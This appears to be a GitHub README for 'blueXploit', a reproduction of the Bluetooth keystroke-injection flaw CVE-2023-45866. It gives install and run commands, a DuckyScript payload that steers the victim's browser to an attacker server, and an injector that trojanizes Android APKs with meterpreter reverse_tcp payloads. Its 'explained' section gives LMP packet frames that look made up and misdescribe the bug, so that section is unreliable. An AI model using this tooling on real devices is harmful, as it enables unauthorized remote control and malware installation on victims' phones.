danyw24/bluexploitExploit basado en vulnerabilidades criticas Bluetooth (CVE-2023-45866, CVE-2024-21306)
# blueXploit
[blueXploit video](https://www.youtube.com/watch?v=Zez8hKRI_7M)
- **blueXploit** is my own proof-of-concept that reproduces **CVE-2023-45866**, the Bluetooth keystroke-injection vulnerability discovered by **Marc Newlin**. It abuses a flaw in the Bluetooth protocol to inject keystrokes into a target device **without pairing**, opening the door to more complex attacks.
> **Attribution.** The vulnerability and the original exploit are **Marc Newlin's** work
> ([hi_my_name_is_keyboard](https://github.com/marcnewlin/hi_my_name_is_keyboard)) — I do **not** claim
> discovery. This repository is a reproduction built to understand and document the bug; on top of it,
> blueXploit adds a DuckyScript-style payload runner, a reconnection/retry mechanism, and an optional
> Android APK-injection helper. Everything here is for **education and research only**.
# How the vulnerability works
These critical vulnerabilities ([CVE-2023-45866](https://www.infordisa.com/soc/vulnerabilidad-bluetooth/), CVE-2024-21306) let an attacker inject keystrokes and accept pairing requests without user confirmation. This critically affects the security of multiple operating systems.
## Affected systems
- **Android**: 4.2 to 14 (11–14 if the 2023-12-05 patch is missing)
- **Linux**: requires a BlueZ patch.
- **macOS**: 12 to 14.2 (partial fix).
- **iOS**: 16 (vulnerable), patched in iOS 17.2.
- **Windows**: fixed in the January 2024 "Patch Tuesday".
## Impact
- The vulnerability allows remote control of a device by injecting keystrokes even without accepting the Bluetooth pairing, forcing the connection and executing key commands.
## Example attacks
- **Remote command execution**: control of vulnerable devices through injected keystrokes, where the
attack vectors are multiple — from getting a **shell** to **installing malicious applications**.
- **Denial-of-service (DoS) attacks**: flooding devices with pairing requests.
## Mitigation
- Update devices with the latest system patches.
- Turn Bluetooth off when it is not in use (this prevents any exploit for this vulnerability from running).
- Avoid pairing with unknown devices.
# blueXploit - usage and demo
- Based on the [original exploit](https://github.com/marcnewlin/hi_my_name_is_keyboard) by Marc Newlin.
- Installing dependencies
```bash
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
```
## Using APKPwn + blueXploit
**blueXploit** includes tooling to exploit vulnerabilities on Android devices, offering two main components and an additional program called **apkpwn_injector**, located in the **injector** folder.
### APKPwn features
- Automates the creation of **android/meterpreter/reverse_tcp** payloads using **msfvenom**.
- Injects those payloads into existing `.apk` applications in the **apk_clean** folder.
- Sets up a local server to serve the generated malicious applications.
These features enable an efficient, simplified attack flow in controlled environments or for penetration testing.
```bash
cd injector
python3 apkpwn_injector.py
```
## Create or edit a duckypayload
The key commands executed by blueXploit are loaded from the **/injector/payloads/** folder in **.txt** format, with a simple, easy-to-understand syntax.
### duckypayload example
```bash
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
```
Change the IP address to the address where the server is hosted.
Device detection and enumeration
```bash
bluetoothctl
```
Scan for Bluetooth devices
```bash
scan on
```
Run
```bash
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
```
Then select the required, previously configured payload.
## Demo
The full demo is in this [video](https://www.youtube.com/watch?v=Zez8hKRI_7M)
## Hardware used
- Raspberry Pi 4
- Kali Linux ARM64
# CVE-2023-45866 explained
This vulnerability is exploited at a low level of the Bluetooth protocol, mainly manipulating the HID profile and the L2CAP protocol to inject keystrokes into a victim device.
## 1. The Bluetooth protocol at a low level
The Bluetooth stack includes several layers, such as the Link Manager Protocol (LMP), the Host Controller Interface (HCI), and L2CAP. This attack mainly uses the last two:
- **HCI**: the adapter configuration is manipulated so it presents itself as a legitimate HID device.
- **L2CAP**: responsible for multiplexing data between devices, L2CAP uses channel 17 (HID Control) and channel 19 (HID Interrupt) for HID communication, which can be exploited to send key sequences.
## Exploiting CVE-2023-45866
CVE-2023-45866 is a vulnerability in the Link Manager Protocol (LMP), exploited through a "forced pairing" attack. Here is technically how it is carried out:
- **LMP manages pairing requests and link configuration.**
- Malformed or unauthenticated LMP packets are sent to force the pairing, like this:
```bash
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
```
In this data frame:
- `0x01`: LMP pairing request
- `0x01`: LMP authentication request (PIN)
- `0x00 0x00 0x00 0x00`: weak PIN information, usually 0000
Here the exploit takes advantage of the missing configuration and authentication for this packet, which ends up returning:
```bash
LMP Accept: 0x02 0x00 0x00 0x00 0x00
```
In this data frame:
- `0x02`: LMP pairing request **ACCEPTED**
- `0x00 0x00 0x00 0x00`: malformed PIN information returned
If the key is not validated correctly, the connection is established but without a real pairing, so a forced-pairing LMP packet can be sent like this:
```bash
LMP Forced Pairing: 0x03 0x01 0x0000
```
Authentication can then be forced using previously leaked keys (such as "0000") and an encrypted communication channel established, pairing the devices without going through a proper verification process.
**This creates a pairing without the user knowing, and even without any pairing window or notification.**
The flaw in this CVE is that certain devices do not properly validate LMP authentication requests, or end up reusing old keys.
So once paired with the device — bang! — the rest is easy: in **blueXploit.py** the adapter and the device act as and spoof identification data. In this case, commands like these are run:
```bash
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
```
blueXploit code
```python
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
```
## HID data injection
```bash
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
```
Explanation of the HID byte frame:
:`a10100001e000000000000`
- `a1`: specifies the HID report type
- `01`: specifies HID interface use for inbound data
- `00`: keypress or keyrelease
- `00 1e 00 00 00 00`: the hexadecimal value, where `1e` corresponds to the letter `a`
An **ACK** is then received to confirm the transmission was received successfully.
- blueXploit integrates a reconnection and data-resend mechanism to keep communication stable and lossless, so if a disconnection occurs, the program reconnects and keeps sending HID data from the previous position/character.
> **Warning**: This material and the techniques described in this repository are **strictly for educational and research purposes**. Penetration and exploitation tools must only be used on systems you have **explicit permission** to assess. Unauthorized use of these techniques on systems you do not own is **prohibited** and **illegal** in many jurisdictions. Any damage or negative impact caused by improper use of this content is the user's sole responsibility.
> Users are advised to work in controlled environments, such as **test labs**, and to comply with all local laws and regulations related to information security and ethical hacking. ***happy hacking :D***